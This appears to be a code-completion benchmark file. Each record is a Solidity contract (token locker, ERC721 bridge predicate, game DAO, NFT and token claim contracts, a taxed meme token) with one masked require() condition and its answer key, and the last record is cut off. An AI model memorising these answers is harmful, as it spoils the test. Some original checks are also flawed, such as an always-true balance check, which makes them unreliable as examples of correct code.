event Approval( address indexed owner, address indexed spender, uint256 value);
}
contract TokenLocker is Context {
struct LockStruct {
IERC20 token;
address beneficiary;
uint256 amount;
uint256 releaseTimestamp;
bool isActive;
}
mapping (address => uint256[]) private beneficiaryIDs;
LockStruct[] private locker;
/**
* @dev Get Lock Info by ID.
*/
function getLockInfo(uint256 lockID) public view returns (IERC20 token, address beneficiary, uint256 amount, uint256 releaseTimestamp, bool isActive) {
}
function getIDByBeneficiary(address beneficiary, uint256 number) public view returns (uint256) {
}
function lockToken (IERC20 token, address beneficiary, uint256 amount, uint256 releaseTimestamp) public {
}
function extendLock(uint256 lockID, uint256 releaseTimestamp) public virtual {
}
function increaseLockAmount(uint256 lockID, uint256 addAmount) public virtual {
require(_msgSender() == locker[lockID].beneficiary, "TokenTimelock: release time is before current lock.");
require(<FILL_ME>)
locker[lockID].amount = locker[lockID].amount + addAmount;
locker[lockID].token.transferFrom(_msgSender(), address(this), addAmount);
}
/**
* @notice Transfers tokens held by timelock to beneficiary.
*/
function release(uint256 lockID) public virtual {
}
}
| locker[lockID].isActive,"TokenTimelock: lock ID is inactive." | 123,067 | locker[lockID].isActive |
"TokenTimelock: no tokens to release" | // SPDX-License-Identifier: none
pragma solidity 0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval( address indexed owner, address indexed spender, uint256 value);
}
contract TokenLocker is Context {
struct LockStruct {
IERC20 token;
address beneficiary;
uint256 amount;
uint256 releaseTimestamp;
bool isActive;
}
mapping (address => uint256[]) private beneficiaryIDs;
LockStruct[] private locker;
/**
* @dev Get Lock Info by ID.
*/
function getLockInfo(uint256 lockID) public view returns (IERC20 token, address beneficiary, uint256 amount, uint256 releaseTimestamp, bool isActive) {
}
function getIDByBeneficiary(address beneficiary, uint256 number) public view returns (uint256) {
}
function lockToken (IERC20 token, address beneficiary, uint256 amount, uint256 releaseTimestamp) public {
}
function extendLock(uint256 lockID, uint256 releaseTimestamp) public virtual {
}
function increaseLockAmount(uint256 lockID, uint256 addAmount) public virtual {
}
/**
* @notice Transfers tokens held by timelock to beneficiary.
*/
function release(uint256 lockID) public virtual {
require(_msgSender() == locker[lockID].beneficiary, "TokenTimelock: release time is before current lock.");
require(block.timestamp >= locker[lockID].releaseTimestamp, "TokenTimelock: current time is before release time.");
require(<FILL_ME>)
locker[lockID].token.transfer(locker[lockID].beneficiary, locker[lockID].amount);
locker[lockID].amount = 0;
locker[lockID].isActive = false;
}
}
| locker[lockID].amount>0,"TokenTimelock: no tokens to release" | 123,067 | locker[lockID].amount>0 |
"ERC721Predicate: INVALID_SIGNATURE" | pragma solidity 0.6.7;
contract ERC721Predicate is ITokenPredicate, AccessControlMixin, Initializable, IERC721Receiver {
using RLPReader for bytes;
using RLPReader for RLPReader.RLPItem;
bytes32 public constant MANAGER_ROLE = keccak256("MANAGER_ROLE");
bytes32 public constant TOKEN_TYPE = keccak256("ERC721");
bytes32 public constant TRANSFER_EVENT_SIG = 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef;
event LockedERC721(
address indexed depositor,
address indexed depositReceiver,
address indexed rootToken,
uint256 tokenId
);
constructor() public {}
function initialize(address _owner) external initializer {
}
/**
* @notice accepts safe ERC721 transfer
*/
function onERC721Received(
address,
address,
uint256,
bytes calldata
)
external
override
returns (bytes4)
{
}
/**
* @notice Lock ERC721 tokens for deposit, callable only by manager
* @param depositor Address who wants to deposit token
* @param depositReceiver Address (address) who wants to receive token on child chain
* @param rootToken Token which gets deposited
* @param depositData ABI encoded tokenId
*/
function lockTokens(
address depositor,
address depositReceiver,
address rootToken,
bytes calldata depositData
)
external
override
only(MANAGER_ROLE)
{
}
/**
* @notice Validates log signature, from and to address
* then sends the correct tokenId to withdrawer
* callable only by manager
* @param withdrawer Address who wants to withdraw token
* @param rootToken Token which gets withdrawn
* @param log Valid ERC721 burn log from child chain
*/
function exitTokens(
address withdrawer,
address rootToken,
bytes memory log
)
public
override
only(MANAGER_ROLE)
{
RLPReader.RLPItem[] memory logRLPList = log.toRlpItem().toList();
RLPReader.RLPItem[] memory logTopicRLPList = logRLPList[1].toList(); // topics
require(<FILL_ME>)
require(
withdrawer == address(logTopicRLPList[1].toUint()), // topic1 is from address
"ERC721Predicate: INVALID_SENDER"
);
require(
address(logTopicRLPList[2].toUint()) == address(0), // topic2 is to address
"ERC721Predicate: INVALID_RECEIVER"
);
IERC721(rootToken).safeTransferFrom(
address(this),
withdrawer,
logTopicRLPList[3].toUint() // topic3 is tokenId field
);
}
}
| bytes32(logTopicRLPList[0].toUint())==TRANSFER_EVENT_SIG,"ERC721Predicate: INVALID_SIGNATURE" | 123,073 | bytes32(logTopicRLPList[0].toUint())==TRANSFER_EVENT_SIG |
"ERC721Predicate: INVALID_RECEIVER" | pragma solidity 0.6.7;
contract ERC721Predicate is ITokenPredicate, AccessControlMixin, Initializable, IERC721Receiver {
using RLPReader for bytes;
using RLPReader for RLPReader.RLPItem;
bytes32 public constant MANAGER_ROLE = keccak256("MANAGER_ROLE");
bytes32 public constant TOKEN_TYPE = keccak256("ERC721");
bytes32 public constant TRANSFER_EVENT_SIG = 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef;
event LockedERC721(
address indexed depositor,
address indexed depositReceiver,
address indexed rootToken,
uint256 tokenId
);
constructor() public {}
function initialize(address _owner) external initializer {
}
/**
* @notice accepts safe ERC721 transfer
*/
function onERC721Received(
address,
address,
uint256,
bytes calldata
)
external
override
returns (bytes4)
{
}
/**
* @notice Lock ERC721 tokens for deposit, callable only by manager
* @param depositor Address who wants to deposit token
* @param depositReceiver Address (address) who wants to receive token on child chain
* @param rootToken Token which gets deposited
* @param depositData ABI encoded tokenId
*/
function lockTokens(
address depositor,
address depositReceiver,
address rootToken,
bytes calldata depositData
)
external
override
only(MANAGER_ROLE)
{
}
/**
* @notice Validates log signature, from and to address
* then sends the correct tokenId to withdrawer
* callable only by manager
* @param withdrawer Address who wants to withdraw token
* @param rootToken Token which gets withdrawn
* @param log Valid ERC721 burn log from child chain
*/
function exitTokens(
address withdrawer,
address rootToken,
bytes memory log
)
public
override
only(MANAGER_ROLE)
{
RLPReader.RLPItem[] memory logRLPList = log.toRlpItem().toList();
RLPReader.RLPItem[] memory logTopicRLPList = logRLPList[1].toList(); // topics
require(
bytes32(logTopicRLPList[0].toUint()) == TRANSFER_EVENT_SIG, // topic0 is event sig
"ERC721Predicate: INVALID_SIGNATURE"
);
require(
withdrawer == address(logTopicRLPList[1].toUint()), // topic1 is from address
"ERC721Predicate: INVALID_SENDER"
);
require(<FILL_ME>)
IERC721(rootToken).safeTransferFrom(
address(this),
withdrawer,
logTopicRLPList[3].toUint() // topic3 is tokenId field
);
}
}
| address(logTopicRLPList[2].toUint())==address(0),"ERC721Predicate: INVALID_RECEIVER" | 123,073 | address(logTopicRLPList[2].toUint())==address(0) |
"Cannot attack dao members" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.10;
import {Royale, ReentrancyGuard} from "./Royale.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
contract Harpoon is ERC20, AccessControl, ReentrancyGuard {
bytes32 public constant KILLER_ROLE = keccak256("KILLER_ROLE");
bytes32 public constant HEALER_ROLE = keccak256("HEALER_ROLE");
address public creator;
uint public constant PRECISION = 100;
Royale public constant ROYALE = Royale(0x8e094bC850929ceD3B4280Cc031540A897F39706);
constructor() ERC20("Harpoon", "HARP") {
}
// returns valuation of a player
function valuation(uint player) public view returns(uint) {
}
// returns current epoch of the game
function epoch() public view returns(uint) {
}
// receive erc721 from msg sender and receive equivalent amount of erc20
// also provide member role
function enter(uint player) public nonReentrant {
}
// harms another player using an array of attack players and their APs
// also make sure that we are not killing dao players
// this needs a try catch as well
// care should be given while calling this contract since player can stop existing in between the call
function kill(uint player, uint[] calldata attackPlayers, uint[] calldata attackAP) public onlyRole(KILLER_ROLE) {
require(<FILL_ME>)
require(attackPlayers.length == attackAP.length, "Lengths mismatch");
// need to handle multiple players
for (uint x; x < attackPlayers.length; x++) {
// need to handle reverts since our player can be killed by the time this is included
try ROYALE.attack(attackPlayers[x], player, attackAP[x]) {} catch {}
}
}
// heal any player only members can heal players
// only healers can heal players in the dao
function heal(uint player, uint ap) public onlyRole(HEALER_ROLE) {
}
// to be used only by admin
// to be used when only players in dao ramain in the game
function flee(uint player) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
// anyone can call this to claim funds from royale
// final NFT is sent to contract creator
function win(uint player) public {
}
// if the game has ended
// erc20 from user is claimed and eth winnings are returned pro-rata
function claim() public nonReentrant {
}
}
| ROYALE.ownerOf(player)!=address(this),"Cannot attack dao members" | 123,137 | ROYALE.ownerOf(player)!=address(this) |
"Game is stil on!" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.10;
import {Royale, ReentrancyGuard} from "./Royale.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
contract Harpoon is ERC20, AccessControl, ReentrancyGuard {
bytes32 public constant KILLER_ROLE = keccak256("KILLER_ROLE");
bytes32 public constant HEALER_ROLE = keccak256("HEALER_ROLE");
address public creator;
uint public constant PRECISION = 100;
Royale public constant ROYALE = Royale(0x8e094bC850929ceD3B4280Cc031540A897F39706);
constructor() ERC20("Harpoon", "HARP") {
}
// returns valuation of a player
function valuation(uint player) public view returns(uint) {
}
// returns current epoch of the game
function epoch() public view returns(uint) {
}
// receive erc721 from msg sender and receive equivalent amount of erc20
// also provide member role
function enter(uint player) public nonReentrant {
}
// harms another player using an array of attack players and their APs
// also make sure that we are not killing dao players
// this needs a try catch as well
// care should be given while calling this contract since player can stop existing in between the call
function kill(uint player, uint[] calldata attackPlayers, uint[] calldata attackAP) public onlyRole(KILLER_ROLE) {
}
// heal any player only members can heal players
// only healers can heal players in the dao
function heal(uint player, uint ap) public onlyRole(HEALER_ROLE) {
}
// to be used only by admin
// to be used when only players in dao ramain in the game
function flee(uint player) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
// anyone can call this to claim funds from royale
// final NFT is sent to contract creator
function win(uint player) public {
}
// if the game has ended
// erc20 from user is claimed and eth winnings are returned pro-rata
function claim() public nonReentrant {
require(<FILL_ME>)
uint256 userBalance = balanceOf(msg.sender);
// burn will make sure that user does not claim again
_burn(msg.sender, userBalance);
payable(msg.sender).transfer(
address(this).balance * (userBalance / totalSupply())
);
}
}
| ROYALE.players()==1,"Game is stil on!" | 123,137 | ROYALE.players()==1 |
"Already claimed!" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.4;
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "./GemstoneCore.sol";
contract GemstoneNFT is GemstoneCore {
using Counters for Counters.Counter;
enum GemstoneTypes {
None,
AurumGemstoneOfTruth,
DiamondMindGemstone,
RubyHeartGemstone
}
struct WalletTier {
address wallet;
GemstoneTypes tier;
}
Counters.Counter private _tokenIdCounter;
mapping(GemstoneTypes => uint16) private _maxTokensByTier;
mapping(GemstoneTypes => uint16) private _tokenCountByTier;
mapping(GemstoneTypes => string) private _tokenUriByTier;
mapping(address => GemstoneTypes) public tierByAddress;
mapping(uint256 => GemstoneTypes) public tierByToken;
mapping(address => bool) public hasClaimed;
constructor(
uint16 maxAurum,
uint16 maxDiamond,
uint16 maxRuby
) {
}
function claim() external {
require(<FILL_ME>)
GemstoneTypes tier = tierByAddress[msg.sender];
require(tier != GemstoneTypes.None, "Not eligible to claim!");
uint256 total = _tokenCountByTier[tier] + 1;
require(total <= _maxTokensByTier[tier], "Max supply reached!");
_mint(GemstoneTypes(tier));
if (GemstoneTypes(tier) == GemstoneTypes.RubyHeartGemstone) {
_attemptClaim(GemstoneTypes.DiamondMindGemstone);
_attemptClaim(GemstoneTypes.AurumGemstoneOfTruth);
} else if (GemstoneTypes(tier) == GemstoneTypes.DiamondMindGemstone) {
_attemptClaim(GemstoneTypes.AurumGemstoneOfTruth);
}
hasClaimed[msg.sender] = true;
}
function getTiers()
public
pure
returns (
uint8,
uint8,
uint8
)
{
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function addEligibleWallets(WalletTier[] memory eligibleWallets) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function revokeEligibleWallets(address[] memory wallets) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function updateTokenUris(
string memory aurumUri,
string memory diamondUri,
string memory rubyUri
) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function _attemptClaim(GemstoneTypes tier) private {
}
function _mint(GemstoneTypes tier) private {
}
}
| !hasClaimed[msg.sender],"Already claimed!" | 123,157 | !hasClaimed[msg.sender] |
"Contract balance is insufficient" | // SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.6.0;
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor() internal {}
function _msgSender() internal view returns (address payable) {
}
function _msgData() internal view returns (bytes memory) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() internal {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
// function renounceOwnership() public onlyOwner {
// emit OwnershipTransferred(_owner, address(0));
// _owner = address(0);
// }
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
}
}
contract dogerush {
struct userStruct {
bool isExist;
uint256 investment;
uint256 ClaimTime;
uint256 lockedAmount;
}
mapping(address => userStruct) public user;
}
abstract contract Token {
function transferFrom(
address sender,
address recipient,
uint256 amount
) external virtual;
function transfer(address recipient, uint256 amount) external virtual;
function balanceOf(address account) external view virtual returns (uint256);
}
pragma solidity 0.6.0;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
pragma experimental ABIEncoderV2;
library SafeMath {
function percent(
uint256 value,
uint256 numerator,
uint256 denominator,
uint256 precision
) internal pure returns (uint256 quotient) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
interface AggregatorV3Interface {
function decimals() external view returns (uint8);
function description() external view returns (string memory);
function version() external view returns (uint256);
function getRoundData(uint80 _roundId)
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
function latestRoundData()
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
}
contract PriceContract {
AggregatorV3Interface internal priceFeed;
address private priceAddress = 0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419; // ETH/USD Mainnet
//address private priceAddress = 0xD4a33860578De61DBAbDc8BFdb98FD742fA7028e; // ETH/USD Goerli Testnet
//https://docs.chain.link/docs/bnb-chain-addresses/
constructor() public {
}
function getLatestPrice() public view returns (uint256) {
}
}
contract ClaimDR is Ownable, PriceContract {
uint256 public w_fee = 200e18;
bool public claimActive = false;
dogerush Dogerush;
Token token = Token(0x2d6e9d6b362354a5Ca7b03581Aa2aAc81bb530Db); // Token;
mapping(address => uint256) public claimedAmount;
mapping(address => bool) public w_fee_paid;
constructor() public {
}
function getUserLockedTokensFromContract(address _user)
public
view
returns (
bool,
uint256,
uint256,
uint256
)
{
}
function calculateUsd(uint256 ethAmount) public view returns (uint256) {
}
function claimTokens() public payable {
(, , , uint256 lockedAmount) = getUserLockedTokensFromContract(
msg.sender
);
require(claimActive == true, "Claim is turned off at the moment.");
require(<FILL_ME>)
require(lockedAmount > 0, "No Tokens to Claim");
require(
lockedAmount > claimedAmount[msg.sender],
"You have already claimed your tokens."
);
if (!w_fee_paid[msg.sender]) {
uint256 feeReceived = calculateUsd(msg.value);
require(
feeReceived >= w_fee,
"Users have to pay a withdrawal fee."
);
address payable ICOadmin = address(uint160(owner()));
ICOadmin.transfer(msg.value);
w_fee_paid[msg.sender] = true;
}
claimedAmount[msg.sender] = lockedAmount;
token.transfer(msg.sender, lockedAmount);
}
function getTokenBalance() public view returns (uint256) {
}
function toggleSaleActive() external onlyOwner {
}
function changeWithdrawFee(uint256 _newfee) external onlyOwner {
}
function withdrawEther() external payable onlyOwner {
}
function withdrawRemainingTokensAfterICO() public {
}
}
| getTokenBalance()>=lockedAmount,"Contract balance is insufficient" | 123,188 | getTokenBalance()>=lockedAmount |
"Tokens Not Available in contract, contact Admin!" | // SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.6.0;
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor() internal {}
function _msgSender() internal view returns (address payable) {
}
function _msgData() internal view returns (bytes memory) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() internal {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
// function renounceOwnership() public onlyOwner {
// emit OwnershipTransferred(_owner, address(0));
// _owner = address(0);
// }
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
}
}
contract dogerush {
struct userStruct {
bool isExist;
uint256 investment;
uint256 ClaimTime;
uint256 lockedAmount;
}
mapping(address => userStruct) public user;
}
abstract contract Token {
function transferFrom(
address sender,
address recipient,
uint256 amount
) external virtual;
function transfer(address recipient, uint256 amount) external virtual;
function balanceOf(address account) external view virtual returns (uint256);
}
pragma solidity 0.6.0;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
pragma experimental ABIEncoderV2;
library SafeMath {
function percent(
uint256 value,
uint256 numerator,
uint256 denominator,
uint256 precision
) internal pure returns (uint256 quotient) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
interface AggregatorV3Interface {
function decimals() external view returns (uint8);
function description() external view returns (string memory);
function version() external view returns (uint256);
function getRoundData(uint80 _roundId)
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
function latestRoundData()
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
}
contract PriceContract {
AggregatorV3Interface internal priceFeed;
address private priceAddress = 0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419; // ETH/USD Mainnet
//address private priceAddress = 0xD4a33860578De61DBAbDc8BFdb98FD742fA7028e; // ETH/USD Goerli Testnet
//https://docs.chain.link/docs/bnb-chain-addresses/
constructor() public {
}
function getLatestPrice() public view returns (uint256) {
}
}
contract ClaimDR is Ownable, PriceContract {
uint256 public w_fee = 200e18;
bool public claimActive = false;
dogerush Dogerush;
Token token = Token(0x2d6e9d6b362354a5Ca7b03581Aa2aAc81bb530Db); // Token;
mapping(address => uint256) public claimedAmount;
mapping(address => bool) public w_fee_paid;
constructor() public {
}
function getUserLockedTokensFromContract(address _user)
public
view
returns (
bool,
uint256,
uint256,
uint256
)
{
}
function calculateUsd(uint256 ethAmount) public view returns (uint256) {
}
function claimTokens() public payable {
}
function getTokenBalance() public view returns (uint256) {
}
function toggleSaleActive() external onlyOwner {
}
function changeWithdrawFee(uint256 _newfee) external onlyOwner {
}
function withdrawEther() external payable onlyOwner {
}
function withdrawRemainingTokensAfterICO() public {
require(msg.sender == owner(), "Only owner can update contract!");
require(<FILL_ME>)
token.transfer(msg.sender, token.balanceOf(address(this)));
}
}
| token.balanceOf(address(this))>=0,"Tokens Not Available in contract, contact Admin!" | 123,188 | token.balanceOf(address(this))>=0 |
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed." | // SPDX-License-Identifier: MIT
/**
https://t.me/DORKMILADYPORTAL
**/
pragma solidity 0.8.19;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient,uint256 amount) external returns (bool);
function allowance(address _owner,address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,address recipient,uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner,address indexed spender,uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner,address indexed newOwner);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA,address tokenB) external returns (address pair);
}
interface IDexRouter {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract DorkMilady is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = unicode"ᗪOᖇK MIᒪAYᗪY";
string private constant _symbol = unicode"ᗪOᖇKᒪAᗪY";
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 1000000000 * 10 ** _decimals;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => uint256) private _holderCheckpoint;
uint256 private _iBuyTax = 20;
uint256 private _fBuyTax = 3;
uint256 private _buyTaxLimit = 25;
uint256 private _iSellTax = 20;
uint256 private _fSellTax = 3;
uint256 private _sellTaxLimit = 35;
uint256 private _swapPreventLimit = 10;
uint256 private _buyCounter = 0;
uint256 public maxTxnAmount = 25000000 * 10 ** _decimals;
uint256 public maxWalletLimit = 25000000 * 10 ** _decimals;
uint256 public taxSwapThreshold = 25000000 * 10 ** _decimals;
uint256 public maxTaxSwap = 25000000 * 10 ** _decimals;
IDexRouter private router;
address private pair;
address payable private feeWallet;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool public transferLimitEnabled = true;
event MaxTxnAmountUpdated(uint maxTxnAmount);
modifier lockTheSwap() {
}
constructor() {
}
receive() external payable {}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "ERC20: Transfer amount must be greater than zero");
uint256 taxAmount = 0;
if (from != owner() && to != owner()) {
taxAmount = amount
.mul((_buyCounter > _buyTaxLimit) ? _fBuyTax : _iBuyTax)
.div(100);
if (transferLimitEnabled) {
if (to != address(router) && to != address(pair)) {
require(<FILL_ME>)
_holderCheckpoint[tx.origin] = block.number;
}
}
if (
from == pair && to != address(router) && !_isExcludedFromFee[to]
) {
require(amount <= maxTxnAmount, "Exceeds the maxTxnAmount.");
require(
balanceOf(to) + amount <= maxWalletLimit,
"Exceeds the maxWalletLimit."
);
_buyCounter++;
}
if (to == pair && from != address(this)) {
taxAmount = amount
.mul((_buyCounter > _sellTaxLimit) ? _fSellTax : _iSellTax)
.div(100);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (
!inSwap &&
to == pair &&
swapEnabled &&
contractTokenBalance > taxSwapThreshold &&
_buyCounter > _swapPreventLimit
) {
swapTokensForEth(
getMin(amount, getMin(contractTokenBalance, maxTaxSwap))
);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 50000000000000000) {
transferFee(address(this).balance);
}
}
}
if (taxAmount > 0) {
_balances[address(this)] = _balances[address(this)].add(taxAmount);
emit Transfer(from, address(this), taxAmount);
}
_balances[from] = _balances[from].sub(amount);
_balances[to] = _balances[to].add(amount.sub(taxAmount));
emit Transfer(from, to, amount.sub(taxAmount));
}
function transferFee(uint256 amount) private {
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function getMin(uint256 a, uint256 b) private pure returns (uint256) {
}
function enableTrading() external onlyOwner {
}
function clearLimits() external onlyOwner {
}
function setBuyFee(
uint256 _iBuy,
uint256 _fBuy,
uint256 _rBuy
) external onlyOwner {
}
function setSellFee(
uint256 _iSell,
uint256 _fSell,
uint256 _rSell
) external onlyOwner {
}
function swapFee() external {
}
function removeStuckToken(address _token, uint256 _amount) external {
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
| _holderCheckpoint[tx.origin]<block.number,"_transfer:: Transfer Delay enabled. Only one purchase per block allowed." | 123,278 | _holderCheckpoint[tx.origin]<block.number |
null | // SPDX-License-Identifier: MIT
/**
https://t.me/DORKMILADYPORTAL
**/
pragma solidity 0.8.19;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient,uint256 amount) external returns (bool);
function allowance(address _owner,address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,address recipient,uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner,address indexed spender,uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner,address indexed newOwner);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA,address tokenB) external returns (address pair);
}
interface IDexRouter {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract DorkMilady is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = unicode"ᗪOᖇK MIᒪAYᗪY";
string private constant _symbol = unicode"ᗪOᖇKᒪAᗪY";
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 1000000000 * 10 ** _decimals;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => uint256) private _holderCheckpoint;
uint256 private _iBuyTax = 20;
uint256 private _fBuyTax = 3;
uint256 private _buyTaxLimit = 25;
uint256 private _iSellTax = 20;
uint256 private _fSellTax = 3;
uint256 private _sellTaxLimit = 35;
uint256 private _swapPreventLimit = 10;
uint256 private _buyCounter = 0;
uint256 public maxTxnAmount = 25000000 * 10 ** _decimals;
uint256 public maxWalletLimit = 25000000 * 10 ** _decimals;
uint256 public taxSwapThreshold = 25000000 * 10 ** _decimals;
uint256 public maxTaxSwap = 25000000 * 10 ** _decimals;
IDexRouter private router;
address private pair;
address payable private feeWallet;
